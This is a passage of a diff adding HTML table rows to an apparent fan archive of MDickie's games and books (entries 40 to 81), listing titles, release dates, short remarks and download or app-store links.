+                        <div style="line-height: 34px; vertical-align: middle;">40</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Encore</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wencore_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wencore_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wencore_trial_v1-6.exe">Trial v1.6</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wencore_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/05</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">41</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Booking Encore</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bencore_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/bencore_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/bencore_trial_v1-4.exe">Trial v1.4</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/bencore_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">03/06</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">42</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Grass Roots</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/roots_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/roots_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/roots_update.zip">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">07/06</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">43</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">World War Alpha</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wwa.setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/war_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/war_trial.exe">Trial</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">09/06</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">44</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Ear Shot</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/earshot.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">10/06</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">45</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Popstar Manager (Fanmade German Version)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/PSManagersetup.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">11/06</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">46</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">TalkSport: Clash Of The Titans</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/talksport.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/06</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">47</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Hard Time</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_trial_v1-3.exe">Trial v1.3</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">01/07</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">48</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Reach</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/reach_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/reach_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/reach_update.zip">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">07/07</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 34px; vertical-align: middle;">
+                      <th style="height: 34px;">
+                        <div style="line-height: 34px; vertical-align: middle;">49</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire 2008: Career Edition</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008_ce_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008ce_update.exe">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">01/08</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">51</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire 2008: Management Edition</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008_me_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008me_update.zip">Update</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008me_converter.exe.exe">Data Converter</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">04/08</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">52</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Popscene: Track 2</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/popscene2_setup.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">08/08</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">53</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">The You Testament</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/youtestament_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/youtestament_update.zip">Update</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">12/08</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Mat Dickie said that this would be this last game, as he was planning to become a teacher. However, production would later pick up again and new games would come out.</td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">54</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_sureshot.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot.exe">EXE</a></span>) <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.SureShotFree&amp;hl=en_US&amp;gl=US">Android</a></span> <span><a target="_blank" href="https://apps.apple.com/us/app/sure-shot-reloaded/id503117449">iOS</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Sure-Shot-Free/dp/B0079QAEI6">Amazon</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Begins the Online Flash Era.</td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">55</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Moksha</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_moksha.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/downloads/moksha.exe">EXE</a></span>) <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.Moksha&amp;hl=en_US&amp;gl=US">Android</a></span> <span><a target="_blank" href="https://apps.apple.com/us/app/moksha/id499867724">iOS</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Moksha/dp/B007A3LJR8">Amazon</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">10/09</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">56</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash Stuntz</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_stuntz.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/stuntz.exe">EXE</a></span>) <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.FlashStuntZ&amp;hl=en_US&amp;gl=US">Android</a></span> <span><a target="_blank" href="https://web.archive.org/web/20151229075938/https://itunes.apple.com/us/app/flash-stuntz/id499864979">iOS</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Flash-StuntZ/dp/B00793LL72">Amazon</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">11/09</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">57</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">CM Punk's Promo Cutter</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_cmpunk.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/cmpunk.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">58</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">The Path To Enlightenment: Survival Edition</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_buddha_survival.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/buddha_survival.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">59</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">The Path To Enlightenment: Wisdom Edition</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_buddha.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/buddha_wisdom.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">60</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Anthropic Principle</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_anthropic.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/anthropic.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">61</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Who Wants To Be A Millionaire?</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_millionaire.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/millionaire.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th id="1386834576R62" style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">62</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">QI: Quite Interesting</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_qi.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/qi.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">63</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Guess Who</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_guesswho.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/guesswho.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">64</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Family Fortunes</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_fortunes.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/fortunes.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">65</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Timer</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_timer.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/timer.exe">EXE</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">End of the Online Flash Era.</td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">66</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">A-fear-ism: The Ignorance Of Atheism </td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><a target="_blank" href="https://mdickie.netlify.app/files/afearism.pdf">PDF</a></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Mat Dickie actually made books, including this one and the one below.</td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">67</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Sportuality </td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><a target="_blank" href="https://mdickie.netlify.app/files/sportuality.pdf">PDF</a></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2009</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">68</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">The Making of a Prophet</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/prophet_setup.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">03/10</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">69</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Under Development</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/develop_setup.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">10/10</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">70</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire Remix: Career Edition</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/remix_ce_setup.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2011</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">71</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire Remix: Management Edition</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/remix_me_setup.exe">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2011</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">72</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire HD (Fanmade)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://download.cnet.com/wrestling-mpire-hd/3001-2117_4-75609779.html?dt=internalDownload">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2011</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Marks the end of the PC era, entering into the mobile / AIR era.</td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">73</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Revolution PPV (Demo)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><a target="_blank" href="https://mdickie.netlify.app/files/wr_ppv.apk">Android (APK)</a></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2012</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">74</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Revolution</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://mdickie.netlify.app/files/wr_flash.swf">Flash (SWF)</a></span> <span><a target="_blank" href="https://itunes.apple.com/app/wrestling-revolution-free/id542665773">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.WRCareer">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Wrestling-Revolution-Free-Training/dp/B008JYIE4S">Amazon</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/673910/Wrestling_Revolution_2D/">Steam (PC)</a></span> <span><a target="_blank" href="https://www.ouya.tv/game/Wrestling-Revolution/">Ouya</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/revolution/wr_gamepad.apk">Moga</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr_mac.zip">Mac 1</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr_mac_demo.air">Mac 2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr_pc_demo.exe">Windows</a></span> <span><a target="_blank" href="https://web.archive.org/web/20140209085700/https://www.desura.com/games/wrestling-revolution">Desura</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2012</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">75</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Booking Revolution</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/booking-revolution-pro/id631371825?mt=8">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.BRFree">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Booking-Revolution/dp/B00CH2C5VQ">Amazon</a></span> <span><a target="_blank" href="https://www.ouya.tv/game/Booking-Revolution/">Ouya</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/br_gamepad.apk">Moga</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/br_mac_demo.air">Mac</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/br_pc_demo.exe">Windows</a></span> <span><a target="_blank" href="https://web.archive.org/web/20140209085700/https://www.desura.com/games/booking-revolution">Desura</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2013</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">76</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Hard Time 2D</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/hard-time-prison-sim/id718021930">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.HardTime">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Hard-Time/dp/B00FZHIQK4">Amazon</a></span> <span><a target="_blank" href="https://www.ouya.tv/game/Hard-Time/">Ouya</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_gamepad.apk">Moga</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/686440">Steam (PC)</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/hard-time-2d-mdickie.exe">Windows</a></span> <span><a target="_blank" href="https://web.archive.org/web/20140209085700/https://www.desura.com/games/hard-time">Desura</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">10/13</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">77</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">The Wrestling Channel 4: Fight (Fanmade)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/twc4_setup.exe/">Download</a></span>)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2014</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">78</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Popscene</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/id808129130">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.Popscene">Android</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2014</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">79</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Revolution 3D</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/wrestling-revolution-3d/id923254516">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.WR3DFree">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Wrestling-Revolution-3D/dp/B00U3LVGZY">Amazon</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/665330">Steam (PC)</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr3d_pc_demo.exe">Windows</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr3d_air16.apk">Sideload APK</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr3d_x86.apk">x86 Version</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2014</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">80</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">School Days</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/school-days-public/id998177668">iOS</a></span> <span><a target="_blank" href="https://apps.apple.com/us/app/school-days-hd/id998178748">iPad</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.SchoolPublic">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-School-Days/dp/B010PAVB3E">Amazon</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/school_air16.apk">Sideload APK</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/school_x86.apk">x86 Version</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2336420/School_Days">Steam (PC)</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">05/15</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">81</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Weekend Warriors</td>
